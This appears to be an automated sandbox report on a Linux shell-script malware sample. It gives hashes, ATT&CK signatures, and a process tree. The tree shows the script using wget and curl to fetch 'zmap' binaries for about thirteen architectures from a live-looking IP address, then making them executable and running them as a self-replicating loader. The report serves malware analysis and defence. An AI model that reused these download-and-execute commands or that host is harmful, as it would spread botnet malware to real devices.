182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277

Analysis

max time kernel
20s
max time network
22s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/11/2024, 12:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh
Size 2KB
Sample241103-pr17natkas
SHA256 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277
MD5 a23a615e078280e9eb4543da45fea820
SHA1 8750dd9f9e5a392daf98e9bdaa1d9a43dc9311ae
SHA512 7e65ce7c678b9a35bbc2740e3ffb510c9203a871102df2dbc11cf8140a9433e4e159de605a53b50e602ed973d9463aa50409fe9f516b1e7a32755442e698145a
MD5 SHA1 SHA512

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
767	chmod
780	chmod
692	chmod
700	chmod
706	chmod
727	chmod
739	chmod
751	chmod
787	chmod
806	chmod
680	chmod
820	chmod
837	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/WTH	681	WTH
/tmp/WTH	693	WTH
/tmp/WTH	701	WTH
/tmp/WTH	707	WTH
/tmp/WTH	728	WTH
/tmp/WTH	741	WTH
/tmp/WTH	753	WTH
/tmp/WTH	769	WTH
/tmp/WTH	781	WTH
/tmp/WTH	788	WTH
/tmp/WTH	807	WTH
/tmp/WTH	822	WTH
/tmp/WTH	838	WTH

Checks CPU configuration 1 TTPs 13 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
688	curl
691	cat
684	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/WTH	182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh

/tmp/182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh
/tmp/182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh
1⤵
- Writes file to tmp directory
PID:654
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.x86
  2⤵
  PID:659
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:669
- /bin/cat
  cat zmap.x86
  2⤵
  PID:679
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:681
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.mips
  2⤵
  - System Network Configuration Discovery
  PID:684
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:688
- /bin/cat
  cat zmap.mips
  2⤵
  - System Network Configuration Discovery
  PID:691
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:693
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.mpsl
  2⤵
  PID:697
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:698
- /bin/cat
  cat zmap.mpsl
  2⤵
  PID:699
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:701
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.arm
  2⤵
  PID:703
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:704
- /bin/cat
  cat zmap.arm
  2⤵
  PID:705
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:707
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.arm5
  2⤵
  PID:709
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:710
- /bin/cat
  cat zmap.arm5
  2⤵
  PID:725
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:728
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.arm6
  2⤵
  PID:731
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:734
- /bin/cat
  cat zmap.arm6
  2⤵
  PID:738
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:741
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.arm7
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:746
- /bin/cat
  cat zmap.arm7
  2⤵
  PID:750
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:753
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.ppc
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:760
- /bin/cat
  cat zmap.ppc
  2⤵
  PID:765
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:769
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.m68k
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:774
- /bin/cat
  cat zmap.m68k
  2⤵
  PID:779
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:781
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.spc
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:785
- /bin/cat
  cat zmap.spc
  2⤵
  PID:786
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:788
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.i686
  2⤵
  PID:790
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:791
- /bin/cat
  cat zmap.i686
  2⤵
  PID:804
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:807
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.sh4
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:813
- /bin/cat
  cat zmap.sh4
  2⤵
  PID:818
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:822
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.arc
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:835
- /bin/cat
  cat zmap.arc
  2⤵
  PID:836
- /bin/chmod
  chmod +x 182d6c8bd392567c7d95fe5b614fe8f8a3bfe2fa0bbd68ddc26bb97e641b1277.sh systemd-private-70759aca9265438490028fe231c10a70-systemd-timedated.service-wsdU14 WTH
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/WTH
  ./WTH zte.selfrep
  2⤵
  - Executes dropped EXE
  PID:838

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads